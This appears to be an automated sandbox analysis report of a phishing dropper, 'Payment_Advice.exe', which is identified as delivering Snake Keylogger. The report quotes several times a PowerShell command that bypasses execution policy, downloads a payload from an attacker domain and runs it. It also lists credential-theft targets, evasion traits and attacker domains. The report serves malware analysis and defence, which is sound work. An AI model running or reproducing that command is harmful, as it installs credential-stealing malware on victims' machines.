Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -593862s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -593706s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -593596s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -593456s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -593303s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -593190s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -593065s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -592940s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -592815s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -592690s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -592565s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -592440s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -592315s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -592190s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -592065s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -591940s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -591815s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -591690s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -591565s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -591440s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -591315s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -591190s >= -30000s
Source: C:\Windows\Temp\hadvices.scr TID: 8516	Thread sleep time: -589105s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\Desktop\Payment_Advice.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 600000
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 599889
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 599773
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 599664
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 599554
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 599440
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 599324
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 598007
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 597881
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 597766
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 597613
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 597444
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 597304
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 597189
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 597080
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596952
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596840
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596715
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596600
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596484
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596362
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596250
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596138
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 596012
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 595898
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 595787
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 595643
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 595531
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 595409
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 595284
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 595079
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593976
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593862
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593706
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593596
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593456
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593303
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593190
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 593065
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592940
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592815
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592690
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592565
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592440
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592315
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592190
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 592065
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 591940
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 591815
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 591690
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 591565
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 591440
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 591315
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 591190
Source: C:\Windows\Temp\hadvices.scr	Thread delayed: delay time: 589105

Source: C:\Users\user\Desktop\Payment_Advice.exe	File opened: C:\Users\user\AppData\Local\Temp\9D53.tmp	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	File opened: C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	File opened: C:\Users\user~1\	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	File opened: C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.tmp	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	File opened: C:\Users\user~1\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	File opened: C:\Users\user~1\AppData\	Jump to behavior

Source: hadvices.scr, 00000019.00000002.2450723926.0000000001432000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlly
Source: svchost.exe, 00000008.00000002.2453208093.000001E16762B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: wscript.exe, 00000003.00000002.1469711134.0000028FCBC10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: svchost.exe, 00000008.00000002.2456259290.000001E16CC5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Payment_Advice.exe, 00000002.00000002.1471316804.0000000001405000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&22H
Source: Payment_Advice.exe, 00000002.00000002.1471316804.0000000001405000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _VMware_`
Source: powershell.exe, 00000004.00000002.1463761116.000001B4E9A62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Payment_Advice.exe

Code function: 2_2_0040A3D2 GetTempPathW,LoadLibraryW,GetProcAddress,GetLongPathNameW,FreeLibrary,

2_2_0040A3D2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Temp\hadvices.scr	Process token adjusted: Debug

Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_00409570 SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,		2_2_00409570
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 2_2_00409590 SetUnhandledExceptionFilter,		2_2_00409590

Source: C:\Users\user\Desktop\Payment_Advice.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 0.2.Payment_Advice.exe.57b0000.5.raw.unpack, vTOBOpTyAAvQkvZvwvxLfhLDrUkCOfiQETyyQECGGfUQGE.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 0.2.Payment_Advice.exe.57b0000.5.raw.unpack, vTOBOpTyAAvQkvZvwvxLfhLDrUkCOfiQETyyQECGGfUQGE.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 0.2.Payment_Advice.exe.57b0000.5.raw.unpack, vTOBOpTyAAvQkvZvwvxLfhLDrUkCOfiQETyyQECGGfUQGE.cs	Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num3 + 8, ref buffer, 4, ref bytesRead)

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'"

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Payment_Advice.exe	Memory written: C:\Users\user\Desktop\Payment_Advice.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Windows\Temp\hadvices.scr	Memory written: C:\Windows\Temp\hadvices.scr base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\Payment_Advice.exe	Process created: C:\Users\user\Desktop\Payment_Advice.exe "C:\Users\user\Desktop\Payment_Advice.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\Public\Payment_Advice.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Temp\hadvices.scr "C:\Windows\Temp\hadvices.scr" /S	Jump to behavior
Source: C:\Windows\Temp\hadvices.scr	Process created: C:\Windows\Temp\hadvices.scr "C:\Windows\Temp\hadvices.scr"

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy bypass -command "invoke-webrequest -uri 'https://advising-receipts.com/hsbc/payment_advice.pdf' -outfile 'c:\users\public\payment_advice.pdf'; start-process 'c:\users\public\payment_advice.pdf'; invoke-webrequest -uri 'https://advising-receipts.com/hsbc/hadvices.scr' -outfile 'c:\windows\temp\hadvices.scr'; start-process 'c:\windows\temp\hadvices.scr'"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy bypass -command "invoke-webrequest -uri 'https://advising-receipts.com/hsbc/payment_advice.pdf' -outfile 'c:\users\public\payment_advice.pdf'; start-process 'c:\users\public\payment_advice.pdf'; invoke-webrequest -uri 'https://advising-receipts.com/hsbc/hadvices.scr' -outfile 'c:\windows\temp\hadvices.scr'; start-process 'c:\windows\temp\hadvices.scr'"			Jump to behavior

Source: C:\Users\user\Desktop\Payment_Advice.exe	Queries volume information: C:\Users\user\Desktop\Payment_Advice.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Temp\hadvices.scr	Queries volume information: C:\Windows\Temp\hadvices.scr VolumeInformation
Source: C:\Windows\Temp\hadvices.scr	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Temp\hadvices.scr	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Temp\hadvices.scr	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Temp\hadvices.scr	Queries volume information: C:\Windows\Temp\hadvices.scr VolumeInformation
Source: C:\Windows\Temp\hadvices.scr	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Temp\hadvices.scr	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Temp\hadvices.scr	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Temp\hadvices.scr	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Temp\hadvices.scr	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Temp\hadvices.scr	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Temp\hadvices.scr	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\Payment_Advice.exe

Code function: 2_2_00405594 GetVersionExW,GetVersionExW,

2_2_00405594

Source: C:\Users\user\Desktop\Payment_Advice.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 23.2.hadvices.scr.3e979f0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.hadvices.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.hadvices.scr.3eb8420.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.hadvices.scr.3e979f0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2455454438.0000000003419000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2455454438.0000000003131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hadvices.scr PID: 3024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hadvices.scr PID: 8336, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Temp\hadvices.scr	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Temp\hadvices.scr	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Temp\hadvices.scr	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Windows\Temp\hadvices.scr	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 23.2.hadvices.scr.3e979f0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.hadvices.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.hadvices.scr.3eb8420.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.hadvices.scr.3e979f0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hadvices.scr PID: 3024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hadvices.scr PID: 8336, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 23.2.hadvices.scr.3e979f0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.hadvices.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.hadvices.scr.3eb8420.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.hadvices.scr.3e979f0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2455454438.0000000003419000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2455454438.0000000003131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hadvices.scr PID: 3024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hadvices.scr PID: 8336, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	11 Native API	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	111 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	24 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	21 Obfuscated Files or Information	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	4 PowerShell	Login Hook	Login Hook	1 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	41 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Payment_Advice.exe	29%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Temp\hadvices.scr	100%	Joe Sandbox ML
C:\Windows\Temp\hadvices.scr	71%	ReversingLabs	Win32.Trojan.Negasteal
C:\Windows\Temp\hadvices.scr	35%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
reallyfreegeoip.org	2%	Virustotal	Browse
mail.qoldenfrontier.com	0%	Virustotal	Browse
scratchdreams.tk	17%	Virustotal	Browse
advising-receipts.com	13%	Virustotal	Browse
checkip.dyndns.com	0%	Virustotal	Browse
checkip.dyndns.org	0%	Virustotal	Browse

URLs

